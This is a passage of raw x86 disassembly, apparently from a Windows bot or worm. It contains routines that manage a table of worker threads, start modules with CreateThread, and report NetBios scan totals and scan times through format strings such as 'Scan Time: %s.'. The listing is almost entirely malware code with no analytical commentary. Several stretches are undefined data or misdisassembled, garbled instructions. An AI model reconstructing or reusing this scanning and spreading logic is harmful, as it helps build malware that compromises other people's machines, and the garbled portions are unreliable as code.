sub_41E840 add esp, 0Ch push 17h loc_408D1B: ; CODE XREF: sub_408C38+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_408D37 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_408D29: ; CODE XREF: sub_408C38+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_408D29 loc_408D37: ; CODE XREF: sub_408C38+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_408D3C: ; CODE XREF: sub_408C38+61j pop esi leave retn sub_408C38 endp ; =============== S U B R O U T I N E ======================================= sub_408D3F proc near ; CODE XREF: seg000:004047DCp ; seg000:00404969p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4521B8 loc_408D47: ; CODE XREF: sub_408D3F+18j cmp byte ptr [eax], 0 jz short loc_408D5B add eax, 234h inc edi cmp eax, offset dword_4DF1B8 jl short loc_408D47 jmp short loc_408DA6 ; --------------------------------------------------------------------------- loc_408D5B: ; CODE XREF: sub_408D3F+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4521B8[esi] push eax call sub_41D800 mov eax, [esp+14h+arg_4] add esp, 0Ch mov ds:dword_4523B8[esi], eax and ds:dword_4523BC[esi], 0 mov eax, [esp+8+arg_8] and ds:dword_4523C0[esi], 0 mov ds:dword_4523C4[esi], eax and ds:byte_4523D0[esi], 0 pop esi loc_408DA6: ; CODE XREF: sub_408D3F+1Aj mov eax, edi pop edi retn sub_408D3F endp ; --------------------------------------------------------------------------- word_408DAA dw 8B55h ; DATA XREF: seg000:00408082o dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h dd 6CE8EC75h, 83000002h, 6A14C4h, 0FC7207E8h, 5E5FEBFFh dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 44394C68h dd 0C75FF00h, 0E80875FFh, 0FFFF8641h, 3314C483h, 21B8BEFFh dd 3E800045h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h dd 0FE00858Dh, 7C68FFFFh, 50004439h, 14413E8h, 8D016A00h dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFF85F9h dd 8124C483h, 234C6h, 0FE814700h, 4DF1B8h, 5E5FB07Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_408E7A proc near ; CODE XREF: seg000:0040732Ep ; sub_408F08+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_408F02 cmp esi, 400h jge short loc_408F02 imul esi, 234h push edi push ebx push ds:dword_4523CC[esi] lea edi, dword_4523CC[esi] call near ptr 3D0000h mov ch, 39h pop ds jz short loc_408EB2 push 1 pop ebp loc_408EB2: ; CODE XREF: sub_408E7A+33j mov [edi], ebx lea edi, dword_4523C0[esi] mov ds:dword_4523B8[esi], ebx mov ds:dword_4523BC[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_408ED3 push eax call sub_419367 pop ecx loc_408ED3: ; CODE XREF: sub_408E7A+50j mov [edi], ebx lea edi, dword_4523C4[esi] mov byte ptr ds:dword_4521B8[esi], bl mov ds:byte_4523D0[esi], bl push dword ptr [edi] call ds:dword_451588 lea esi, dword_4523C8[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_451588 mov [esi], ebx pop edi loc_408F02: ; CODE XREF: sub_408E7A+Dj ; sub_408E7A+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_408E7A endp ; =============== S U B R O U T I N E ======================================= sub_408F08 proc near ; CODE XREF: sub_40132F+18p ; seg000:004072E0p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4521B8 loc_408F14: ; CODE XREF: sub_408F08+2Aj cmp byte ptr [esi], 0 jz short loc_408F25 push edi call sub_408E7A test eax, eax pop ecx jz short loc_408F25 inc ebx loc_408F25: ; CODE XREF: sub_408F08+Fj ; sub_408F08+1Aj add esi, 234h inc edi cmp esi, offset dword_4DF1B8 jl short loc_408F14 pop edi mov eax, ebx pop esi pop ebx retn sub_408F08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F3A proc near ; CODE XREF: seg000:00404836p ; seg000:004048A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4523BC loc_408F4E: ; CODE XREF: sub_408F3A+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_408F70 test edi, edi jle short loc_408F62 cmp [esi], edi jz short loc_408F62 cmp ebx, edi jnz short loc_408F70 loc_408F62: ; CODE XREF: sub_408F3A+1Ej ; sub_408F3A+22j push ebx call sub_408E7A test eax, eax pop ecx jz short loc_408F70 inc [ebp+var_4] loc_408F70: ; CODE XREF: sub_408F3A+1Aj ; sub_408F3A+26j ... add esi, 234h inc ebx cmp esi, offset dword_4DF3BC jl short loc_408F4E mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_408F3A endp ; =============== S U B R O U T I N E ======================================= sub_408F87 proc near ; CODE XREF: seg000:004047ADp ; seg000:004048C9p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4523B8 loc_408F8E: ; CODE XREF: sub_408F87+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_408F97 inc eax loc_408F97: ; CODE XREF: sub_408F87+Dj add ecx, 234h cmp ecx, offset dword_4DF3B8 jl short loc_408F8E retn sub_408F87 endp ; =============== S U B R O U T I N E ======================================= sub_408FA6 proc near ; CODE XREF: seg000:00407B49p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4523B8 loc_408FB0: ; CODE XREF: sub_408FA6+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_408FC9 add ecx, 234h inc edx cmp ecx, offset dword_4DF3B8 jl short loc_408FB0 pop esi retn ; --------------------------------------------------------------------------- loc_408FC9: ; CODE XREF: sub_408FA6+10j mov eax, edx pop esi retn sub_408FA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408FCD proc near ; CODE XREF: seg000:00408216p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_408FE6 push [ebp+arg_1C] call sub_41D560 pop ecx loc_408FE6: ; CODE XREF: sub_408FCD+Ej push eax push [ebp+arg_18] call sub_408F3A pop ecx test eax, eax pop ecx jle short loc_409012 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41D260 add esp, 14h jmp short loc_40902C ; --------------------------------------------------------------------------- loc_409012: ; CODE XREF: sub_408FCD+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41D260 add esp, 10h loc_40902C: ; CODE XREF: sub_408FCD+43j cmp [ebp+arg_C], 0 jnz short loc_40904C push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 14h loc_40904C: ; CODE XREF: sub_408FCD+63j lea eax, [ebp+var_200] push eax call sub_4161A7 pop ecx leave retn sub_408FCD endp ; =============== S U B R O U T I N E ======================================= sub_40905B proc near ; CODE XREF: sub_402D46+159p ; seg000:00409688p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_4523CC[eax], ecx mov ds:dword_4523B8[eax], ecx mov ds:dword_4523BC[eax], ecx mov ds:dword_4523C0[eax], ecx mov ds:dword_4523C4[eax], ecx mov ds:dword_4523C8[eax], ecx mov byte ptr ds:dword_4521B8[eax], cl mov ds:byte_4523D0[eax], cl retn sub_40905B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409098 proc near ; CODE XREF: seg000:0040850Ap ; sub_4091C6+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4090A2: ; CODE XREF: sub_409098+68j mov cl, [esi] test cl, cl jz short loc_409102 cmp eax, 1 jnz short loc_409102 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_409102 cmp cl, 2Ah jz short loc_4090E9 cmp cl, 3Fh jz short loc_4090CC cmp cl, 5Bh jz short loc_4090D1 xor eax, eax cmp cl, dl setz al loc_4090CC: ; CODE XREF: sub_409098+26j inc [ebp+arg_4] jmp short loc_4090FC ; --------------------------------------------------------------------------- loc_4090D1: ; CODE XREF: sub_409098+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40912E mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_4090FC ; --------------------------------------------------------------------------- loc_4090E9: ; CODE XREF: sub_409098+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4091C6 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_4090FC: ; CODE XREF: sub_409098+37j ; sub_409098+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4090A2 ; --------------------------------------------------------------------------- loc_409102: ; CODE XREF: sub_409098+Ej ; sub_409098+13j ... cmp byte ptr [esi], 2Ah jnz short loc_409112 cmp eax, 1 jnz short loc_409129 inc esi mov [ebp+arg_0], esi jmp short loc_409102 ; --------------------------------------------------------------------------- loc_409112: ; CODE XREF: sub_409098+6Dj cmp eax, 1 jnz short loc_409129 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_409129 cmp byte ptr [esi], 0 jnz short loc_409129 push 1 pop eax jmp short loc_40912B ; --------------------------------------------------------------------------- loc_409129: ; CODE XREF: sub_409098+72j ; sub_409098+7Dj ... xor eax, eax loc_40912B: ; CODE XREF: sub_409098+8Fj pop esi pop ebp retn sub_409098 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40912E proc near ; CODE XREF: sub_409098+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40914F inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40914F: ; CODE XREF: sub_40912E+19j push ebx push esi loc_409151: ; CODE XREF: sub_40912E+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40915F cmp [ebp+var_4], eax jnz short loc_4091AB loc_40915F: ; CODE XREF: sub_40912E+2Aj test edi, edi jnz short loc_4091A0 cmp bl, 2Dh jnz short loc_409194 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_409194 cmp al, 5Dh jz short loc_409194 cmp [ebp+var_4], edi jnz short loc_409194 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4091A0 cmp bl, al jg short loc_4091A0 push 1 mov [edx], esi pop edi jmp short loc_4091A0 ; --------------------------------------------------------------------------- loc_409194: ; CODE XREF: sub_40912E+38j ; sub_40912E+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4091A0 push 1 pop edi loc_4091A0: ; CODE XREF: sub_40912E+33j ; sub_40912E+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_409151 ; --------------------------------------------------------------------------- loc_4091AB: ; CODE XREF: sub_40912E+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4091B8 mov ecx, eax sub ecx, edi mov edi, ecx loc_4091B8: ; CODE XREF: sub_40912E+82j cmp edi, eax jnz short loc_4091C1 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4091C1: ; CODE XREF: sub_40912E+8Cj mov eax, edi pop edi leave retn sub_40912E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091C6 proc near ; CODE XREF: sub_409098+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4091E2: ; CODE XREF: sub_4091C6+3Aj cmp [eax], bl jz short loc_409202 mov cl, [ecx] cmp cl, 3Fh jz short loc_4091F7 cmp cl, 2Ah jnz short loc_409202 cmp cl, 3Fh jnz short loc_4091FA loc_4091F7: ; CODE XREF: sub_4091C6+25j inc eax mov [edi], eax loc_4091FA: ; CODE XREF: sub_4091C6+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4091E2 ; --------------------------------------------------------------------------- loc_409202: ; CODE XREF: sub_4091C6+1Ej ; sub_4091C6+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40920D inc dword ptr [esi] jmp short loc_409202 ; --------------------------------------------------------------------------- loc_40920D: ; CODE XREF: sub_4091C6+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40922E mov edx, [esi] cmp [edx], bl jz short loc_40921F xor eax, eax jmp short loc_40928E ; --------------------------------------------------------------------------- loc_40921F: ; CODE XREF: sub_4091C6+53j cmp cl, bl jnz short loc_40922E mov ecx, [esi] cmp [ecx], bl jnz short loc_40922E push 1 pop eax jmp short loc_40928E ; --------------------------------------------------------------------------- loc_40922E: ; CODE XREF: sub_4091C6+4Dj ; sub_4091C6+5Bj ... push eax push dword ptr [esi] call sub_409098 pop ecx test eax, eax pop ecx jnz short loc_409278 loc_40923C: ; CODE XREF: sub_4091C6+B0j inc dword ptr [edi] mov eax, [edi] loc_409240: ; CODE XREF: sub_4091C6+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_409258 cmp cl, 5Bh jz short loc_409258 cmp dl, bl jz short loc_409258 inc eax mov [edi], eax jmp short loc_409240 ; --------------------------------------------------------------------------- loc_409258: ; CODE XREF: sub_4091C6+82j ; sub_4091C6+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40926F push eax push dword ptr [esi] call sub_409098 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_409274 ; --------------------------------------------------------------------------- loc_40926F: ; CODE XREF: sub_4091C6+96j mov [ebp+var_4], ebx xor eax, eax loc_409274: ; CODE XREF: sub_4091C6+A7j cmp eax, ebx jnz short loc_40923C loc_409278: ; CODE XREF: sub_4091C6+74j mov eax, [edi] cmp [eax], bl jnz short loc_40928B mov eax, [esi] cmp [eax], bl jnz short loc_40928B mov [ebp+var_4], 1 loc_40928B: ; CODE XREF: sub_4091C6+B6j ; sub_4091C6+BCj mov eax, [ebp+var_4] loc_40928E: ; CODE XREF: sub_4091C6+57j ; sub_4091C6+66j pop edi pop esi pop ebx leave retn sub_4091C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409293 proc near ; CODE XREF: seg000:004081EAp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset dword_444274 push eax xor ebx, ebx call sub_41D260 cmp ds:dword_4439F0, ebx pop ecx pop ecx mov edi, 200h jz short loc_409305 push esi mov esi, offset dword_4439F8 loc_4092C6: ; CODE XREF: sub_409293+6Fj mov eax, [esi] test eax, eax jbe short loc_4092FB add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4442B4 push eax call sub_41D260 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41E710 add esp, 1Ch loc_4092FB: ; CODE XREF: sub_409293+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_4092C6 pop esi loc_409305: ; CODE XREF: sub_409293+2Bj push ds:dword_4DF1BC call sub_41A227 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41D260 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41E710 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D lea eax, [ebp+var_200] push eax call sub_4161A7 add esp, 38h pop edi pop ebx leave retn sub_409293 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h mov eax, ds:dword_4E1D38 mov ecx, ds:dword_4E1D34 push esi push ds:dword_4DF1BC lea esi, [ecx+eax] call sub_41A227 push eax push esi push ds:dword_4E1D38 lea eax, [ebp-200h] push ds:dword_4E1D34 push offset dword_4442D4 push eax call sub_41D260 push 0 lea eax, [ebp-200h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-200h] push eax call sub_4161A7 add esp, 34h pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push ds:dword_4DF1BC call sub_41A227 push eax lea eax, [ebp-200h] push ds:dword_4E2640 push offset dword_44434C push eax call sub_41D260 push 0 lea eax, [ebp-200h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-200h] push eax call sub_4161A7 add esp, 2Ch leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1000h call sub_41DEB0 push edi lea eax, [ebp-800h] push offset dword_44439C push eax call sub_41D260 cmp ds:dword_4439F0, 0 pop ecx pop ecx mov edi, 800h jz short loc_40948C push esi mov esi, offset aNetbios ; "NetBios" loc_409455: ; CODE XREF: seg000:00409489j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp-1000h] push offset dword_4443D4 push eax call sub_41D260 lea eax, [ebp-1000h] push edi push eax lea eax, [ebp-800h] push eax call sub_41E710 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_409455 pop esi loc_40948C: ; CODE XREF: seg000:0040944Dj push ds:dword_4DF1BC call sub_41A227 push eax lea eax, [ebp-1000h] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41D260 lea eax, [ebp-1000h] push edi push eax lea eax, [ebp-800h] push eax call sub_41E710 push 0 lea eax, [ebp-800h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-800h] push eax call sub_4161A7 add esp, 34h pop edi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call ds:dword_451530 xor edi, edi mov [ebp-8], eax cmp ds:dword_4439F0, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_409644 mov ebx, offset dword_4439F0 mov eax, ebx loc_409537: ; CODE XREF: seg000:0040963Ej push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_409CC8 add esp, 0Ch cmp eax, 1 jnz loc_409634 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset dword_4443F4 push eax call sub_41D260 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_40145D lea eax, [ebp-3F0h] push eax call sub_4161A7 lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41D260 lea eax, [ebp-15Ch] push esi push eax call sub_41D260 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_4095CF lea eax, [ebp-124h] loc_4095CF: ; CODE XREF: seg000:004095C7j push eax lea eax, [ebp-1DCh] push eax call sub_41D260 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_409634: ; CODE XREF: seg000:0040954Aj inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_409537 loc_409644: ; CODE XREF: seg000:0040952Aj push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset dword_444440 push eax call sub_41D260 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_40145D lea eax, [ebp-3F0h] push eax call sub_4161A7 push dword ptr [ebp-18h] call sub_40905B add esp, 2Ch push edi call near ptr 3D0000h loc_409696: ; CODE XREF: seg000:00407B64p adc byte ptr [ebp-75h], 0ECh sub esp, 200h push 0Bh call sub_408F87 test eax, eax pop ecx jle short loc_4096D3 mov eax, [ebp+14h] push ds:dword_4DF378[eax*8] call ds:dword_45157C push eax lea eax, [ebp-200h] push offset dword_444490 push eax call sub_41D260 add esp, 0Ch jmp short loc_4096E6 ; --------------------------------------------------------------------------- loc_4096D3: ; CODE XREF: seg000:004096AAj lea eax, [ebp-200h] push offset dword_4444CC push eax call sub_41D260 pop ecx pop ecx loc_4096E6: ; CODE XREF: seg000:004096D1j push 0 lea eax, [ebp-200h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D lea eax, [ebp-200h] push eax call sub_4161A7 add esp, 18h leave retn ; --------------------------------------------------------------------------- loc_40970E: ; CODE XREF: sub_40A146+4Fp push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+138h] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_409BE0 shl eax, 6 xor ebx, ebx ; CODE XREF: seg000:0040976Bj cmp ds:dword_4439FC[eax], ebx jz loc_409BE0 push 5 call sub_408F87 test eax, eax pop ecx jnz loc_409995 mov eax, ds:dword_43CC58 push edi mov esi, offset dword_4E1434 push 104h push esi push ebx mov ds:dword_4E1644, eax mov ds:dword_4E1640, ebx call near ptr 3D0000h jz short near ptr loc_40972B+1 mov esp, 680043CCh add eax, [ecx] ; --------------------------------------------------------------------------- dd 68570000h, 4E1538h, 1407FE8h, 18858B00h, 83000001h dd 9D380CC4h, 98h, 4E1430A3h, 40858B00h, 6A000001h, 16C8A37Fh dd 1D75004Eh, 5018458Dh, 4E164868h, 404EE800h, 0C4830001h dd 0CC05C70Ch, 1004E16h, 0EB000000h, 98858D1Ah, 50000000h dd 4E164868h, 402EE800h, 0C4830001h, 0CC1D890Ch, 56004E16h dd 0FDFC858Dh, 35FFFFFFh, 4E1644h, 44450868h, 6DE85000h dd 5300013Ah, 0FDFC858Dh, 56AFFFFh, 0F53DE850h, 0C483FFFFh dd 163CA31Ch, 458D004Eh, 685350FCh, 4E1430h, 412AD068h dd 0FF535300h, 4F131C15h, 3C0D8B00h, 69004E16h, 234C9h dd 89C33B00h, 4523CC81h, 39127400h, 4E16D01Dh, 6A257500h dd 0F415FF32h, 0EB004F12h, 1015FFEEh, 50004F13h, 0FDFC858Dh dd 6468FFFFh, 50004445h, 139FFE8h, 0CC48300h, 0FDFC858Dh dd 0E850FFFFh, 0C937h, 4DF1B8A1h, 16DCBE00h, 4C7004Eh dd 10424h, 0A3535600h, 4E18ECh, 18E81D89h, 6DE8004Eh, 9DFFFC67h dd 10368h, 0E0685700h, 0E8004E17h, 13F5Ch, 118858Bh, 0C4830000h dd 989D380Ch, 0A3000000h, 4E16D8h, 140858Bh, 0A35F0000h dd 4E1970h, 1D757F6Ah, 5018458Dh, 4E18F068h, 3F2AE800h dd 0C4830001h, 7405C70Ch, 1004E19h, 0EB000000h, 98858D1Ah dd 50000000h, 4E18F068h, 3F0AE800h, 0C4830001h, 741D890Ch dd 56004E19h, 0FDFC858Dh, 35FFFFFFh, 4E18ECh, 4445B868h dd 49E85000h, 53000139h, 0FDFC858Dh, 46AFFFFh, 0F419E850h dd 0C483FFFFh, 18E4A31Ch, 458D004Eh, 685350FCh, 4E16D8h dd 40FCCD68h, 0FF535300h, 4F131C15h, 0E40D8B00h, 69004E18h dd 234C9h, 89C33B00h, 4523CC81h, 39127400h, 4E19781Dh dd 6A257500h, 0F415FF32h, 0EB004F12h, 1015FFEEh, 50004F13h dd 0FDFC858Dh, 1468FFFFh, 50004446h, 138DBE8h, 0CC48300h dd 0FDFC858Dh, 0E850FFFFh, 0C813h ; --------------------------------------------------------------------------- pop ecx loc_409995: ; CODE XREF: seg000:00409743j mov eax, [ebp+138h] mov ecx, eax shl ecx, 6 cmp ds:dword_443A04[ecx], ebx jz loc_409ABE push 7 call sub_408F87 test eax, eax pop ecx jnz loc_409AB8 mov eax, ds:dword_4E2638 cmp [ebp+98h], bl mov ds:dword_4E139C, eax mov eax, [ebp+118h] mov ds:dword_4E1390, eax mov eax, [ebp+140h] mov ds:dword_4E1398, ebx mov ds:dword_4E1420, eax push 7Fh jnz short loc_409A09 lea eax, [ebp+18h] push eax push offset dword_4E13A0 call sub_41D800 add esp, 0Ch mov ds:dword_4E1424, 1 jmp short loc_409A23 ; --------------------------------------------------------------------------- loc_409A09: ; CODE XREF: seg000:004099EAj lea eax, [ebp+98h] push eax push offset dword_4E13A0 call sub_41D800 add esp, 0Ch mov ds:dword_4E1424, ebx loc_409A23: ; CODE XREF: seg000:00409A07j push ds:dword_4E139C lea eax, [ebp-204h] push offset unk_44466C push eax call sub_41D260 push ebx lea eax, [ebp-204h] push 7 push eax call sub_408D3F add esp, 18h mov ds:dword_4E1394, eax lea eax, [ebp-4] push eax push ebx push offset dword_4E1390 push offset loc_40F9BF push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, ds:dword_4E1394 imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_409A90 loc_409A7E: ; CODE XREF: seg000:00409A8Ej cmp ds:dword_4E1428, ebx jnz short loc_409AAB push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_409A7E ; --------------------------------------------------------------------------- loc_409A90: ; CODE XREF: seg000:00409A7Cj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset dword_4446B4 push eax call sub_41D260 add esp, 0Ch loc_409AAB: ; CODE XREF: seg000:00409A84j lea eax, [ebp-204h] push eax call sub_4161A7 pop ecx loc_409AB8: ; CODE XREF: seg000:004099B6j mov eax, [ebp+138h] loc_409ABE: ; CODE XREF: seg000:004099A6j shl eax, 6 cmp ds:dword_443A00[eax], ebx jz loc_409BE0 push 3 call sub_408F87 test eax, eax pop ecx jnz loc_409BE0 mov esi, offset dword_4E1C0C push 104h push esi push ebx call near ptr 3D0000h cmp eax, 0E8565C6Ah test eax, 59000148h cmp eax, ebx pop ecx jz short loc_409AFF mov [eax], bl loc_409AFF: ; CODE XREF: seg000:00409AFBj mov eax, ds:dword_43CC5C mov ds:dword_4E1D24, ebx mov ds:dword_4E1D10, eax lea eax, [ebp+18h] push eax push offset dword_4E1984 call sub_41D260 mov eax, [ebp+118h] pop ecx pop ecx mov ds:dword_4E1980, eax mov ecx, [ebp+140h] push esi push ds:dword_4E1D10 mov ds:dword_4E1D1C, ecx mov ecx, [ebp+144h] push eax mov ds:dword_4E1D20, ecx call sub_402617 pop ecx push eax lea eax, [ebp-204h] push offset dword_444710 push eax call sub_41D260 push ebx lea eax, [ebp-204h] push 3 push eax call sub_408D3F add esp, 20h mov ds:dword_4E1D18, eax lea eax, [ebp-4] push eax push ebx push offset dword_4E1980 push offset sub_410418 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, ds:dword_4E1D18 imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_409BB8 loc_409BA6: ; CODE XREF: seg000:00409BB6j cmp ds:dword_4E1D2C, ebx jnz short loc_409BD3 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_409BA6 ; --------------------------------------------------------------------------- loc_409BB8: ; CODE XREF: seg000:00409BA4j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset dword_444778 push eax call sub_41D260 add esp, 0Ch loc_409BD3: ; CODE XREF: seg000:00409BACj lea eax, [ebp-204h] push eax call sub_4161A7 pop ecx loc_409BE0: ; CODE XREF: seg000:00409722j ; seg000:00409733j ... pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BE4 proc near ; CODE XREF: 